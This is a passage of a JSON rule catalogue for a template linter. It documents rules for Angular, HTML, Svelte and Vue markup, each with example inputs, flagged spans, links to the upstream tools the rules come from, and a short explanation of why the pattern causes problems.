      "description": "Reports `!(x | async)` and `(x | async) === false` in an Angular template. Only in `.component.html` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<input ([ngModel])=\"a\" [(ngModel)]=\"b\" />\n<p *ngIf=\"a == b && c !== d\">{{ a != b ? \"x == y\" : 1 }}</p>\n<p *ngIf=\"!(a$ | async)\"></p>\n<p [hidden]=\"(a$ | async) === false || x\"></p>\n<p *ngIf=\"!a$ | async\"></p>\n@if (a == 1) { <b></b> }\n@for (x of xs) { <i></i> }\n@for (x of xs; track x.id) { <i></i> }\n",
        "language": "angular",
        "other_lines": [
          1,
          2,
          6,
          7
        ],
        "spans": [
          {
            "column": 12,
            "length": 1,
            "line": 3
          },
          {
            "column": 14,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-negated-async",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-negated-async",
          "note": "`!(x | async)` and `(x | async) === false`",
          "partial": true,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/no-negated-async.md"
        }
      ],
      "why": "The `async` pipe returns `null` before the stream emits its first value, so the negated test is true while the data is still loading, and the template shows the empty or error state for a moment.\n\nTo fix, compare with the value the stream emits, or use `@if` and `@else` on the pipe's result."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `<style>` that is inside an element.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          4,
          5,
          6,
          8,
          9,
          10,
          11,
          13,
          15
        ],
        "spans": [
          {
            "column": 7,
            "length": 5,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "no-nested-style-tag",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-nested-style-tag",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-nested-style-tag/"
        }
      ],
      "why": "Only the `<style>` at the top level of a component is compiled as its CSS; a nested one is put into the page as an ordinary element, and its rules are not scoped to the component.\n\nTo fix, move the `<style>` to the top level."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an object, an array, a function or a class written in `{ }` among text. It reads the first token of the expression, so an arrow function is not found.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          4,
          5,
          6,
          8,
          9,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 4,
            "length": 10,
            "line": 10
          },
          {
            "column": 15,
            "length": 5,
            "line": 10
          },
          {
            "column": 21,
            "length": 16,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "no-object-in-text-mustaches",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-object-in-text-mustaches",
          "note": "an arrow function is not found (the check reads the first token)",
          "partial": true,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-object-in-text-mustaches/"
        }
      ],
      "why": "It renders as `[object Object]` or as the source of the function, which is never what the page should show.\n\nTo fix, use the value in an attribute or in code, or show a field of it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `>` in text (`a > b`). A raw `<` in text is a syntax error.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!doctype html>\n<title>t</title>\n<p><strong>></strong></p>\n<p>a &gt; b &amp; &#38;</p>\n<p>Ham & Shroom</p>\n<p>one\ntwo > three</p>\n<script>if (a > b) {}</script>\n<style>a > b {}</style>\n",
        "language": "html",
        "other_lines": [
          5
        ],
        "spans": [
          {
            "column": 12,
            "length": 1,
            "line": 3
          },
          {
            "column": 5,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-raw-gt",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "spec-char-escape",
          "note": "a raw `<` in text is the parser's error, a `>` the rule `no-raw-gt`",
          "partial": true,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/spec-char-escape.mdx"
        }
      ],
      "why": "A `>` is valid HTML and renders as written. Some tools and templates still treat a lone `>` as the end of a tag, so escaping it avoids surprises.\n\nTo fix, write `&gt;`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `<head>`, `<body>`, `<window>`, `<document>`, `<element>` and `<options>`, which are plain elements in Svelte.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          3,
          4,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 2,
            "length": 4,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-raw-special-elements",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-raw-special-elements",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-raw-special-elements/"
        }
      ],
      "why": "The special ones are `<svelte:head>`, `<svelte:body>` and so on; a plain `<head>` is just an unknown element in the component, so the content does not go where the author meant.\n\nTo fix, write `<svelte:name>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<label>` whose `for` names a control that is inside the label.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p id=\"1a\"></p>\n<p id=\"a b\"></p>\n<p id=\"a-b_c\"></p>\n<p id=\"\"></p>\n<label for=\"x\"><input type=\"text\" id=\"x\"></label>\n<label for=\"y\">y</label><input type=\"text\" id=\"y\">\n<label for=\"missing\">z</label>\n<p aria-labelledby=\"y nothere\"></p>\n",
        "language": "html",
        "other_lines": [
          3,
          4,
          6,
          9,
          10
        ],
        "spans": [
          {
            "column": 8,
            "length": 3,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-redundant-for",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-redundant-for",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-redundant-for.html"
        }
      ],
      "why": "The label already names the control it holds, so the `for` and the `id` it needs say the same thing twice, and they can drift apart when one is renamed.\n\nTo fix, remove the `for` (and the `id` if nothing else uses it)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `role` on an element that already has that role by its name (`<nav role=\"navigation\">`, `<button role=\"button\">`, `<ul role=\"list\">`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<nav role=\"navigation\"></nav>\n<button role=\"button\">x</button>\n<a href=\"x\" role=\"link\">x</a>\n<a role=\"link\">x</a>\n<ul role=\"list\"></ul>\n<div role=\"navigation\"></div>\n<p role=\"presentation\"></p>\n<p role=\"none\"></p>\n",
        "language": "html",
        "other_lines": [
          9
        ],
        "spans": [
          {
            "column": 6,
            "length": 17,
            "line": 3
          },
          {
            "column": 9,
            "length": 13,
            "line": 4
          },
          {
            "column": 13,
            "length": 11,
            "line": 5
          },
          {
            "column": 5,
            "length": 11,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-redundant-role",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-redundant-role",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-redundant-role"
        },
        {
          "id": "no-redundant-role",
          "note": "the roles of 19 elements that always have the role, and img with a non-empty alt; the conditional implicit roles (`<input>` by type, `<select>`, `<li>`, `<section>`) are not checked",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-redundant-role.html"
        }
      ],
      "why": "The role adds nothing and can only fall out of step with the element: when the element is later changed to another one, the old `role` overrides the native meaning.\n\nTo fix, remove the `role`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element that is self-closed with `/>` and is not a void element (`<div />`). Void elements (see `void-style`), `<svg>` and `<math>` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "no-self-closing",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-self-closing",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-self-closing.html"
        }
      ],
      "why": "In HTML `<div />` is a start tag: the browser ignores the slash and the element stays open and swallows what follows, so the page differs from what the markup seems to say.\n\nTo fix, write the end tag (`<div></div>`)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<style>` element. A `<style>` inside a `<template>` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<head>\n<style>p { color: red }</style>\n<template><style>p {}</style></template>\n</head>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-style-tag",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "no-style-tag",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-style-tag.html"
        },
        {
          "id": "style-disabled",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/style-disabled.mdx"
        }
      ],
      "why": "A stylesheet that is part of the page is sent again with every page, cannot be cached or shared, and is blocked by a strict content security policy.\n\nTo fix, move the rules to a file and use `<link rel=\"stylesheet\">`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a link to another site with `target=\"_blank\"` that does not have both `noopener` and `noreferrer` in its `rel`. A link to a scheme or host and a computed link (`{href}`, `bind:href`, `:href`) count; a relative link does not.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          7,
          9,
          10,
          11,
          13,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 18,
            "length": 6,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "no-target-blank",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-target-blank",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-target-blank/"
        },
        {
          "id": "no-template-target-blank",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-template-target-blank.html"
        },
        {
          "id": "no-target-blank",
          "note": "requires `noopener` as well as `noreferrer` (eslint-plugin-vue and -svelte do), html-eslint only `noreferrer`",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-target-blank"
        }
      ],
      "why": "The opened page can reach this one through `window.opener` in old browsers and change its location (a phishing page), and it gets the referrer of the page it came from.\n\nTo fix, add `rel=\"noopener noreferrer\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `{{ }}` inside a `<textarea>`. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          7,
          9,
          10,
          11,
          13,
          14,
          15,
          17,
          18,
          19
        ],
        "spans": [
          {
            "column": 15,
            "length": 10,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-textarea-mustache",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-textarea-mustache",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-textarea-mustache.html"
        }
      ],
      "why": "The text of a `<textarea>` is its default value, and Vue does not interpolate it, so the user sees `{{ text }}` written out.\n\nTo fix, bind the value with `v-model`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an element name that HTML does not define, custom elements (`<my-element>`) included. Everything inside `<svg>` and `<math>` is left alone, and so are `.vue`, `.svelte` and `*.component.html` files, where component names are normal.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          2,
          9,
          10,
          11,
          13,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 2,
            "length": 6,
            "line": 7
          },
          {
            "column": 2,
            "length": 10,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "no-unknown-elements",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-unknown-elements",
          "note": "no include and exclude options",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-unknown-elements.html"
        }
      ],
      "why": "An unknown element is a typo (`<buton>`) or a custom element that needs a script to do anything; the browser shows it as an inline box with no meaning.\n\nTo fix, correct the name, or turn the rule off for custom elements."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `style:` directive that names a property CSS does not know (`style:marginLeft`). Custom properties (`style:--x`) and vendor-prefixed ones are not reported. The property table is the CSS language's.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          4,
          5,
          6,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 4,
            "length": 16,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "no-unknown-style-directive-property",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-unknown-style-directive-property",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-unknown-style-directive-property/"
        }
      ],
      "why": "CSS properties are lowercase and hyphenated; a camelCase name is ignored by the browser, so the style does not apply.\n\nTo fix, write the property name in CSS form (`style:margin-left`)."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an element that has `v-else` and `v-for` together. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          7,
          9,
          10,
          11,
          13,
          14,
          17,
          18,
          19
        ],
        "spans": [
          {
            "column": 9,
            "length": 6,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "no-use-v-else-with-v-for",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-use-v-else-with-v-for",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-use-v-else-with-v-for.html"
        }
      ],
      "why": "`v-else` is evaluated first and cannot read the loop variable, and the result is not what the markup reads like.\n\nTo fix, put the `v-for` on a child or on a wrapping `<template>`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an element that has `v-if` and `v-for` together.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<ul>\n<li v-for=\"x in xs\" v-if=\"x.on\" :key=\"x.id\">a</li>\n<li v-if=\"a\">b</li>\n<template v-for=\"x in xs\" :key=\"x.id\"><li v-if=\"x.on\">c</li></template>\n</ul>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 44,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-use-v-if-with-v-for",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-use-v-if-with-v-for",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-use-v-if-with-v-for.html"
        }
      ],
      "why": "In Vue 3 `v-if` is evaluated first, so a condition on the loop variable fails with an error, and in Vue 2 the order was the other way round, which makes the code unsafe to port.\n\nTo fix, filter the list in a computed value, or move the `v-if` to a wrapping `<template>`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `{#snippet children()}` with no parameters inside a component.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
